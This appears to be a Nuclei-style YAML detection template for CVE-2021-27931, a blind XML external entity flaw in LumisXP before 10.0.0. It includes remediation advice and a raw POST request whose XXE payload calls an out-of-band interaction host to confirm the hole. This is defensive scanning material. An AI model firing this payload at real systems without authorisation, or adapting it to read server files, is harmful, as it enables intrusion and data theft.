47 lines
1.5 KiB
YAML
47 lines
1.5 KiB
YAML
id: CVE-2021-27931
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info:
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name: LumisXP <10.0.0 - Blind XML External Entity Attack
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author: alph4byt3
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severity: critical
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description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
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remediation: |
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Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.
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reference:
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- https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27931
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
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cvss-score: 9.1
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cve-id: CVE-2021-27931
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cwe-id: CWE-611
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epss-score: 0.61505
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epss-percentile: 0.97426
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cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: lumis
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product: lumis_experience_platform
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tags: cve,cve2021,lumis,xxe,oast,blind
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http:
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- raw:
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- |
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POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
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Host: {{Hostname}}
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<?xml version="1.0" ?>
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<!DOCTYPE r [
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<!ELEMENT r ANY >
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<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
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]>
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<method name="addPage">
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<id>&xxe;</id>
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</method>
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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